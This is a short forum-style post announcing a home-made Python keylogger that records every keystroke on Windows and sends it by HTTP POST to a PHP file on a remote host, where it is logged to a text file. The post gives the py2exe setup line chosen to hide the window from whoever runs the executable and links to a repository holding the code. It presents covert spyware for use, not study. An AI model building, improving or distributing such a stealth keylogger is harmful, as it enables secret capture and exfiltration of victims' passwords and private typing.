Hello! I've constructed a basic keylogger using basic Python modules enabling the windows executable compilation with py2exe. This keylogger doesn't use predictable network socket communication, but rather http to deliver data.
Simple design:
You simply host the index php file on a remote host and configure the py file to connect directly to the hosted file. Put the link in the 'log2url' variable and then run the py file. Every keystroke is logged and sent via POST to the php file where it is stored in a newly created text-file by the simple php code. Every keystroke is appended to the hosted text-file.
Compiling:
Make sure you compile with windows rather than console config with py2exe.
setup(windows=[{"script":"py2PHP.py"}],
Thus, hiding the form from whoever opens the windows executable.
Check it out if you'd like:
https://github.com/pythogen/Python/tree/master/Projects/py2PHP%20KSL- Pythogen